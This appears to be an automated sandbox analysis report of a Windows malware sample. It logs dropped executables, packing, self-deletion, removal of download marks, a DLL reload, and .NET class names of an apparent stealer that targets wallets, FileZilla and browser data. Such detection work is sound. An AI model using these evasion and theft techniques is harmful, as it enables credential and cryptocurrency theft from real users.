Code function: 28_2_00408FC9 GetCurrentProcess,GetLastError,GetProcAddress,GetProcAddress,LookupPrivilegeValueW,GetProcAddress,AdjustTokenPrivileges,GetLastError,FindCloseChangeNotification,

Source: C:\Windows\explorer.exe

File created: C:\Users\user\AppData\Local\Temp\F72D.tmp

Jump to behavior

Source: B8B0.exe.5.dr	Binary or memory string: INSERT INTO [dbo].[Details] ([Employee Id], [Title], [First Name], [Last Name], [Email], [Phone Number], [Hire Date], [Date of Birth], [Basic Pay], [House Rental Allowance], [Dearness Allowance], [Provident Fund], [Date of Leaving], [Grade]) VALUES (@Employee_Id, @Title, @First_Name, @Last_Name, @Email, @Phone_Number, @Hire_Date, @Date_of_Birth, @Basic_Pay, @House_Rental_Allowance, @Dearness_Allowance, @Provident_Fund, @Date_of_Leaving, @Grade);
Source: B8B0.exe.5.dr	Binary or memory string: UPDATE [dbo].[Details] SET [Employee Id] = @Employee_Id, [Title] = @Title, [First Name] = @First_Name, [Last Name] = @Last_Name, [Email] = @Email, [Phone Number] = @Phone_Number, [Hire Date] = @Hire_Date, [Date of Birth] = @Date_of_Birth, [Basic Pay] = @Basic_Pay, [House Rental Allowance] = @House_Rental_Allowance, [Dearness Allowance] = @Dearness_Allowance, [Provident Fund] = @Provident_Fund, [Date of Leaving] = @Date_of_Leaving, [Grade] = @Grade WHERE (([Employee Id] = @Original_Employee_Id) AND ([Title] = @Original_Title) AND ([First Name] = @Original_First_Name) AND ([Last Name] = @Original_Last_Name) AND ((@IsNull_Phone_Number = 1 AND [Phone Number] IS NULL) OR ([Phone Number] = @Original_Phone_Number)) AND ([Hire Date] = @Original_Hire_Date) AND ([Date of Birth] = @Original_Date_of_Birth) AND ([Basic Pay] = @Original_Basic_Pay) AND ((@IsNull_House_Rental_Allowance = 1 AND [House Rental Allowance] IS NULL) OR ([House Rental Allowance] = @Original_House_Rental_Allowance)) AND ((@IsNull_Dearness_Allowance = 1 AND [Dearness Allowance] IS NULL) OR ([Dearness Allowance] = @Original_Dearness_Allowance)) AND ((@IsNull_Provident_Fund = 1 AND [Provident Fund] IS NULL) OR ([Provident Fund] = @Original_Provident_Fund)) AND ((@IsNull_Date_of_Leaving = 1 AND [Date of Leaving] IS NULL) OR ([Date of Leaving] = @Original_Date_of_Leaving)) AND ([Grade] = @Original_Grade));

Source: C:\Users\user\AppData\Local\Temp\59B4.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll
Source: C:\Users\user\AppData\Local\Temp\8039.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll
Source: C:\Users\user\AppData\Local\Temp\8039.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll
Source: C:\Users\user\AppData\Local\Temp\B8B0.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll
Source: C:\Users\user\AppData\Local\Temp\610B.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll
Source: C:\Users\user\AppData\Local\Temp\82DC.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll

Source: C:\Users\user\AppData\Local\Temp\e8e330fa-11c2-45cb-b375-131a4522ce18\AdvancedRun.exe

Code function: 28_2_004095FD CreateToolhelp32Snapshot,memset,Process32FirstW,OpenProcess,OpenProcess,OpenProcess,memset,GetModuleHandleW,GetProcAddress,QueryFullProcessImageNameW,CloseHandle,Process32NextW,CloseHandle,

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4500:120:WilError_01
Source: C:\Users\user\AppData\Local\Temp\8039.exe	Mutant created: \Sessions\1\BaseNamedObjects\NVIDIA OpenGL Driver An application has requested more GPU memory than is available in the system. The application will now be closed. Error code: 6 Would you like to visit http://nvidia.custhelp.com/app/answers/detail/a_id/3553 for help?
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2912:120:WilError_01

Source: 19.2.59B4.exe.40000.0.unpack, bY6SuEh351L7GYyy67/NuxyqR8Fr0rqvtxOeE.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 19.2.59B4.exe.40000.0.unpack, bY6SuEh351L7GYyy67/NuxyqR8Fr0rqvtxOeE.cs	Cryptographic APIs: 'CreateDecryptor'

Source: C:\Users\user\AppData\Local\Temp\B8B0.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B8B0.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\AppData\Local\Temp\9D57.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Source: y4oMrtO1Mt.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: y4oMrtO1Mt.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: y4oMrtO1Mt.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: y4oMrtO1Mt.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: y4oMrtO1Mt.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: y4oMrtO1Mt.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: y4oMrtO1Mt.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: C:\Windows\System.ServiceModel.pdbpdbdel.pdb source: 59B4.exe, 00000013.00000002.958716562.0000000000EB9000.00000004.00000020.sdmp
Source:	Binary string: \??\C:\Windows\System.ServiceModel.pdb source: 59B4.exe, 00000013.00000002.958716562.0000000000EB9000.00000004.00000020.sdmp
Source:	Binary string: c:\Projects\VS2005\AdvancedRun\Release\AdvancedRun.pdb source: AdvancedRun.exe, 0000001C.00000000.907769722.000000000040C000.00000002.00020000.sdmp, AdvancedRun.exe, 0000001E.00000000.914935574.000000000040C000.00000002.00020000.sdmp, AdvancedRun.exe.24.dr
Source:	Binary string: \??\C:\Windows\dll\System.ServiceModel.pdbU source: 59B4.exe, 00000013.00000002.958716562.0000000000EB9000.00000004.00000020.sdmp
Source:	Binary string: C:\feze\liyixira.pdb source: 9D57.exe.5.dr
Source:	Binary string: C:\samuf.pdb source: y4oMrtO1Mt.exe
Source:	Binary string: _.pdb source: 610B.exe, 0000001B.00000002.954434043.00000000036B5000.00000004.00000001.sdmp
Source:	Binary string: wntdll.pdbUGP source: 9D57.exe, 00000017.00000002.879476866.000000006D221000.00000020.00020000.sdmp, 1105.tmp.23.dr
Source:	Binary string: \??\C:\Windows\symbols\dll\System.ServiceModel.pdbr9 source: 59B4.exe, 00000013.00000002.958716562.0000000000EB9000.00000004.00000020.sdmp
Source:	Binary string: wntdll.pdb source: 9D57.exe, 1105.tmp.23.dr
Source:	Binary string: System.ServiceModel.pdbH source: 59B4.exe, 00000013.00000002.958905948.0000000000F3F000.00000004.00000020.sdmp
Source:	Binary string: System.ServiceModel.pdb source: 59B4.exe, 00000013.00000002.958905948.0000000000F3F000.00000004.00000020.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.ServiceModel\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.pdb7] source: 59B4.exe, 00000013.00000002.958716562.0000000000EB9000.00000004.00000020.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.ServiceModel\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.pdb source: 59B4.exe, 00000013.00000002.958716562.0000000000EB9000.00000004.00000020.sdmp
Source:	Binary string: #cC:\zan\cesibevu.pdb source: 610B.exe.5.dr
Source:	Binary string: C:\zan\cesibevu.pdb source: 610B.exe.5.dr
Source:	Binary string: %C:\feze\liyixira.pdbp+@` source: 9D57.exe.5.dr

Data Obfuscation:

Detected unpacking (changes PE section rights)

Show sources

Source: C:\Users\user\AppData\Local\Temp\59B4.exe	Unpacked PE file: 19.2.59B4.exe.40000.0.unpack :ER; :R; :R;.idata:W;~\1847:R;.themida:EW;.boot:ER;~\1847:ER;~\1847:ER;.rsrc:R; vs :ER; :R; :R;
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Unpacked PE file: 23.2.9D57.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.rsrc:R; vs .text:EW;
Source: C:\Users\user\AppData\Roaming\argjvbv	Unpacked PE file: 32.2.argjvbv.400000.0.unpack .text:ER;.rdata:R;.data:W;.rsrc:R; vs .text:EW;

.NET source code contains method to dynamically call methods (often used by packers)

Show sources

Source: 19.2.59B4.exe.40000.0.unpack, bY6SuEh351L7GYyy67/NuxyqR8Fr0rqvtxOeE.cs

.Net Code: stackVariable1.GetMethod("GetDelegateForFunctionPointer", V_0)

Source: C:\Users\user\Desktop\y4oMrtO1Mt.exe	Code function: 1_2_004025F7 pushad ; iretd
Source: C:\Users\user\Desktop\y4oMrtO1Mt.exe	Code function: 1_2_004029A6 push eax; ret
Source: C:\Users\user\Desktop\y4oMrtO1Mt.exe	Code function: 1_1_004025F7 pushad ; iretd
Source: C:\Users\user\Desktop\y4oMrtO1Mt.exe	Code function: 1_1_004029A6 push eax; ret
Source: C:\Users\user\AppData\Roaming\hrgjvbv	Code function: 10_2_02BD2D97 pushad ; iretd
Source: C:\Users\user\AppData\Roaming\hrgjvbv	Code function: 10_2_02BD3146 push eax; ret
Source: C:\Users\user\AppData\Roaming\hrgjvbv	Code function: 11_2_004025F7 pushad ; iretd
Source: C:\Users\user\AppData\Roaming\hrgjvbv	Code function: 11_2_004029A6 push eax; ret
Source: C:\Users\user\AppData\Local\Temp\F72D.exe	Code function: 12_2_02E228EC push ebp; ret
Source: C:\Users\user\AppData\Local\Temp\F72D.exe	Code function: 12_2_02E1DCF4 pushad ; iretd
Source: C:\Users\user\AppData\Local\Temp\F72D.exe	Code function: 12_2_02E223C9 push edi; ret
Source: C:\Users\user\AppData\Local\Temp\F72D.exe	Code function: 13_2_004025F7 pushad ; iretd
Source: C:\Users\user\AppData\Local\Temp\F72D.exe	Code function: 13_2_004029A6 push eax; ret
Source: C:\Users\user\AppData\Local\Temp\F72D.exe	Code function: 13_1_004025F7 pushad ; iretd
Source: C:\Users\user\AppData\Local\Temp\8039.exe	Code function: 20_2_013C5477 push ss; retf
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D29D0D1 push ecx; ret
Source: C:\Users\user\AppData\Local\Temp\B8B0.exe	Code function: 24_2_0302AEA3 push eax; mov dword ptr [esp], ecx
Source: C:\Users\user\AppData\Local\Temp\610B.exe	Code function: 27_2_023240FA push esp; iretd
Source: C:\Users\user\AppData\Local\Temp\610B.exe	Code function: 27_2_023240C0 push esp; iretd
Source: C:\Users\user\AppData\Local\Temp\e8e330fa-11c2-45cb-b375-131a4522ce18\AdvancedRun.exe	Code function: 28_2_0040B550 push eax; ret
Source: C:\Users\user\AppData\Local\Temp\e8e330fa-11c2-45cb-b375-131a4522ce18\AdvancedRun.exe	Code function: 28_2_0040B550 push eax; ret
Source: C:\Users\user\AppData\Local\Temp\e8e330fa-11c2-45cb-b375-131a4522ce18\AdvancedRun.exe	Code function: 28_2_0040B50D push ecx; ret
Source: C:\Users\user\AppData\Local\Temp\82DC.exe	Code function: 29_2_0538740B push 04000A5Eh; iretd
Source: C:\Users\user\AppData\Local\Temp\82DC.exe	Code function: 29_2_0538E89F push 5D5F5E5Bh; retn 0008h

Source: C:\Users\user\Desktop\y4oMrtO1Mt.exe

Code function: 0_2_00422950 LoadLibraryW,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,

Source: 82DC.exe.5.dr

Static PE information: 0x9AFA11B8 [Thu May 23 12:23:20 2052 UTC]

Source: 59B4.exe.5.dr	Static PE information: section name:
Source: 59B4.exe.5.dr	Static PE information: section name:
Source: 59B4.exe.5.dr	Static PE information: section name:
Source: 59B4.exe.5.dr	Static PE information: section name: ~\1847
Source: 59B4.exe.5.dr	Static PE information: section name: .themida
Source: 59B4.exe.5.dr	Static PE information: section name: .boot
Source: 59B4.exe.5.dr	Static PE information: section name: ~\1847
Source: 59B4.exe.5.dr	Static PE information: section name: ~\1847
Source: 8039.exe.5.dr	Static PE information: section name: )EWhgNF
Source: 8039.exe.5.dr	Static PE information: section name:
Source: 1105.tmp.23.dr	Static PE information: section name: RT
Source: 1105.tmp.23.dr	Static PE information: section name: .mrdata
Source: 1105.tmp.23.dr	Static PE information: section name: .00cfg

Source: initial sample

Static PE information: section where entry point is pointing to: .boot

Source: 82DC.exe.5.dr	Static PE information: real checksum: 0x0 should be: 0x717cf
Source: B8B0.exe.5.dr	Static PE information: real checksum: 0x2bdee should be: 0x3529c
Source: 8039.exe.5.dr	Static PE information: real checksum: 0x0 should be: 0x5572f

Source: initial sample	Static PE information: section name: .text entropy: 7.02904343285
Source: initial sample	Static PE information: section name: .text entropy: 7.39596175365
Source: initial sample	Static PE information: section name: .text entropy: 7.02904343285
Source: initial sample	Static PE information: section name: entropy: 7.98187641593
Source: initial sample	Static PE information: section name: ~\1847 entropy: 7.4060671369
Source: initial sample	Static PE information: section name: ~\1847 entropy: 7.38192824879
Source: initial sample	Static PE information: section name: )EWhgNF entropy: 7.99933844083
Source: initial sample	Static PE information: section name: .text entropy: 7.44496634021
Source: initial sample	Static PE information: section name: .text entropy: 7.44496634021
Source: initial sample	Static PE information: section name: .text entropy: 7.02904343285
Source: initial sample	Static PE information: section name: .text entropy: 6.85305507137

Source: 19.2.59B4.exe.40000.0.unpack, Chr_0_M_e.cs	High entropy of concatenated method names: 'S??n', 'yLR2CB83g', 'uaHHnxvaJ', 'x5NfWxYMt', 'iPHRHIBDL', 'PJamWpavP', 'MakeTries', 'WwGlOUpyL', 'L3Na8j3OvGf3qUQsvT', 'IUhPNsYBvgJsFQ9xe6'
Source: 19.2.59B4.exe.40000.0.unpack, g_E_c_?_0.cs	High entropy of concatenated method names: 'TryFind', 'z8c38TDN6', 'GeckoRoamingName', 'GeckoLocalName', 'htZ9aouKySbrBsfnMn', 'AAOG0teuuPPr3F7sY4', 'fNHnD2SFbk59jJ0uL0', 'TelJUjP6c3PymR2PfZ', 'V6owyJiNRaeobHuqkU', 'yIWUMSld7ox4Hr12sc'
Source: 19.2.59B4.exe.40000.0.unpack, FileZilla.cs	High entropy of concatenated method names: 'Scan', 'oxwYX7qGG', 'iVI9SREXJ', '.ctor', 'fimbor5IbSMsdptfA3', 'vr3sq0t03bJcGhR9uS', 'e7SBPZpahQ4PX4VMQX', 'CLnusRDYfyq3ws8b6w', 'c3qopEwFnsVlHY6aFb', 'QqpehZcjCTwNBrrQfp'
Source: 19.2.59B4.exe.40000.0.unpack, DownloadAndExecuteUpdate.cs	High entropy of concatenated method names: 'IsValidAction', 'Process', '.ctor', 'ARN3DYjKI82DJ2tU5qp', 'VQxSCMjWKVEDqDVVXjX', 'pEig87jrhFh2HOwhHcT', 'DnmBptjgkx0fNVKCpDh', 'GpXAhSjfhCYu0ijpLaO', 'RydDAHjFChayEoKWhxf', 'RNnOj4jJOxDMeo4O5D8'
Source: 19.2.59B4.exe.40000.0.unpack, CryptoHelper.cs	High entropy of concatenated method names: 'DecryptBlob', 'DecryptBlob', 'GetMd5Hash', 'hwG6Rwca7', 'BVxXuizOIRlmEapKHi', 'Oj8ePBX4K8fpxsjpOnx', 'J9NKn1QpiI3af6qA7r', 'MwyFLvkQjEiqUVyWIs', 'INhGBfXXbLRtbXUU77t'
Source: 19.2.59B4.exe.40000.0.unpack, CryptoProvider.cs	High entropy of concatenated method names: '.ctor', 'Finalize', 'xfZxhKZfy', 'BCryptOpenAlgorithmProvider', 'BCryptCloseAlgorithmProvider', 'BCryptDecrypt', 'BCryptDestroyKey', 'BCryptGetProperty', 'BCryptSetAlgorithmProperty', 'BCryptImportKey'
Source: 19.2.59B4.exe.40000.0.unpack, StringDecrypt.cs	High entropy of concatenated method names: 'Xor', 'oeH7I38wd', 'enwdeJfeD', 'Decrypt', 'rG2VqmXqgW8P6fLKH3n', 'W9N20gX6p5ubTck0KGH', 'sPTurwX3kOmu9q05jnT', 'lBODngXj5SMOsof8wqO', 'snWaVZXBiD0doqdmcaq', 'kTBcoQXYL6vlycyh5sm'
Source: 19.2.59B4.exe.40000.0.unpack, AllWallets.cs	High entropy of concatenated method names: 'GetFolder', 'GetScanArgs', '.ctor', 'Ip24MoLK1jL3AZ1eRBm', 'elgKq1LW6OhwTrEqpoW', 'ueR6oqLr9mDY7JGXgBT', 'RuiauiLgst8eRvkb5O8', 'fKt8ZCLfevOsbHPmWbj', 'BttNm9LsWXwuDeONXhB', 'SXwn95LUo1LAEyfradx'
Source: 19.2.59B4.exe.40000.0.unpack, FullInfoSender.cs	High entropy of concatenated method names: '.ctor', 'Send', 'sdfk8h34', 'Visible', 'asdk9y3', 'kadsoji83', 'kkdhfakdasd', 'sdfm83kjasd', 'sdfkas83', 'gkdsi8y234'
Source: 19.2.59B4.exe.40000.0.unpack, IK64qmPWsTBxjgIB1C/vXrS0guBSgiuhbjg3O.cs	High entropy of concatenated method names: 'lHCRjNXwo5', 'CDKRDNRnIS', 'rmSReShpCY', '.ctor', 'kLjw4iIsCLsZtxc4lksN0j', '.cctor', 'X1Isg1quiUWHuMD5BP', 'gjicgBlqhRm4XbsKPp', 'GRYp38iTtrkcyyoiEq', 'mLMUIvR5YosgulHg3r'
Source: 19.2.59B4.exe.40000.0.unpack, ALq6dKKjQlrsYooCWs/HiXmaQw0PKZERoqU1b.cs	High entropy of concatenated method names: 'OxxaUNqzmjYZ5', '.ctor', '.cctor', 'tnBNmfbC4F3SphDLwGm', 'drcVv5b9TNb8C40JNUL', 's1lHDOb5uoVZJ4AynlC', 'jRulXnbtU0unU57kuVP', 'LfajKpbaqYtuMY9JiFQ', 'F9YssQb18CiwDxxDHMa'
Source: 19.2.59B4.exe.40000.0.unpack, bY6SuEh351L7GYyy67/NuxyqR8Fr0rqvtxOeE.cs	High entropy of concatenated method names: '.cctor', 'o5kaUNqs9Lvi8', 'AIZfs7lnq4', 'G7Zf1yBAxs', 'suDfxgF2tF', 'rSnfLxFOgR', 'h24fZPht0K', 'biSf6qn22C', 'GL5f7WutR0', 'zBPfdqlYap'
Source: 19.2.59B4.exe.40000.0.unpack, IPv4Helper.cs	High entropy of concatenated method names: 'pa1eXNhev', 'GetDefaultIPv4Address', 'Lpsk6RcDj', 'Yug89nB2b1VSEE5Y4FC', 'B1iqYZBs0H70uYe695v', 'UGGmJHBHjs9aIJCom5N', 'CT7k3CBM9Xs9fXuCrSA', 'WQJC7rBUh9MBveTFqUw', 'iLkuDZBKnJMxKx4sfcb', 'rxZ9OsBWEiEq3Ud3Uwq'
Source: 19.2.59B4.exe.40000.0.unpack, GdiHelper.cs	High entropy of concatenated method names: 'kK2jJR2mk', 'GetWindowsScreenScalingFactor', 'MonitorSize', 'GetImageBase', 'sduDK4krH', 'hZvJLQB0hXUdkIGifKM', 'H3SRm3BVjVFuHcnKnhR', 'gFkNOoBisK7AqSx0kZn', 'hvmugjBAOPSi9le4Nbm', 'Mtc3KgBh6RB4CPUN4UU'
Source: 19.2.59B4.exe.40000.0.unpack, DbContext.cs	High entropy of concatenated method names: 'get_RowLength', '.ctor', 'GatherValue', 'ReadContextValue', 'Count', 'p8DAFdQhd', 'QakwmuNp5', 'ReadContextTable', 'fftKfYYRr', 'DuUXwP6LA'
Source: 19.2.59B4.exe.40000.0.unpack, SystemInfoHelper.cs	High entropy of concatenated method names: 'CreateBind', 'GetProcessors', 'GetGraphicCards', 'GetBrowsers', 'GetSerialNumber', 'ListOfProcesses', 'GetVs', 'GetProcessesByName', 'ListOfPrograms', 'AvailableLanguages'
Source: 19.2.59B4.exe.40000.0.unpack, Extensions.cs	High entropy of concatenated method names: 'ReadFile', 'ReadFileAsText', 'ChangeType', 'StripQuotes', 'DomainExists', 'PreCheck', 'IexbVVBaObgQlpl4mqq', 'hjb1UfB1UcxxQ7Jiwxt', 'hZ8UD8BCWHIy5f3AywH', 'WFv76jB906BEpUUFgPu'
Source: 19.2.59B4.exe.40000.0.unpack, DesktopMessanger.cs	High entropy of concatenated method names: 'get_PassedPaths', 'set_PassedPaths', 'GetFolder', 'GetScanArgs', '.ctor', 'EC1LrFjXBQ97Je8oK2p', 'F7YfBIjLM6gE7RBhT6P', 'SI2wcMjjw8baG3k3RT0', 'e4U4OqjBoXX6TVU2EV9', 'isENaYjqM8hbVKViC6G'
Source: 19.2.59B4.exe.40000.0.unpack, BrEx.cs	High entropy of concatenated method names: 'Init', '.ctor', 'GetFolder', 'GetScanArgs', 'zEtq89Lx7ejD3dh7YWe', 'OIhWfJLdXoRBYT98uEt', 'jTPrBRLIuqlhW6a7Kr9', 'm7bJrYLQscKkO93gFCI', 'cmTe8wLJ164fRFRVPOp', 'SUUeM2LGbp361k3SdTl'

Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Roaming\argjvbv			Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Roaming\hrgjvbv			Jump to dropped file

Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\82DC.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\8039.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\F72D.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Roaming\argjvbv	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Roaming\hrgjvbv	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	File created: C:\Users\user\AppData\Local\Temp\1105.tmp	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\9D57.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\B8B0.exe	File created: C:\Users\user\AppData\Local\Temp\e8e330fa-11c2-45cb-b375-131a4522ce18\AdvancedRun.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\B8B0.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\59B4.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\610B.exe	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\e8e330fa-11c2-45cb-b375-131a4522ce18\AdvancedRun.exe

Code function: 28_2_00401306 OpenServiceW,CloseServiceHandle,QueryServiceStatus,StartServiceW,CloseServiceHandle,CloseServiceHandle,

Hooking and other Techniques for Hiding and Protection:

DLL reload attack detected

Show sources

Source: C:\Users\user\AppData\Local\Temp\9D57.exe

Module Loaded: Original DLL: C:\USERS\user\APPDATA\LOCAL\TEMP\1105.TMP reload: C:\WINDOWS\SYSWOW64\NTDLL.DLL

Deletes itself after installation

Show sources

Source: C:\Windows\explorer.exe

File deleted: c:\users\user\desktop\y4omrto1mt.exe

Jump to behavior

Hides that the sample has been downloaded from the Internet (zone.identifier)

Show sources

Source: C:\Windows\explorer.exe

File opened: C:\Users\user\AppData\Roaming\hrgjvbv:Zone.Identifier read attributes | delete

Source: C:\Users\user\AppData\Local\Temp\e8e330fa-11c2-45cb-b375-131a4522ce18\AdvancedRun.exe

Code function: 28_2_00408E31 GetModuleHandleW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

Source: C:\Users\user\AppData\Local\Temp\59B4.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\59B4.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\59B4.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\59B4.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\59B4.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\59B4.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\59B4.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\59B4.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\59B4.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\59B4.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\59B4.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\59B4.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\59B4.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\59B4.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\59B4.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\59B4.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\59B4.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\59B4.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\59B4.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\59B4.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\59B4.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\59B4.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\59B4.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\59B4.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\59B4.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\59B4.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\59B4.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\59B4.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\59B4.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\59B4.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\59B4.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\59B4.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\8039.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\8039.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\8039.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\8039.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\8039.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\8039.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\8039.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\8039.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\8039.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\8039.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\8039.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\8039.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\8039.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\8039.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\8039.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\8039.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\8039.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\8039.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\8039.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\8039.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\8039.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\8039.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\8039.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\8039.exe	Process information set: NOOPENFILEERRORBOX
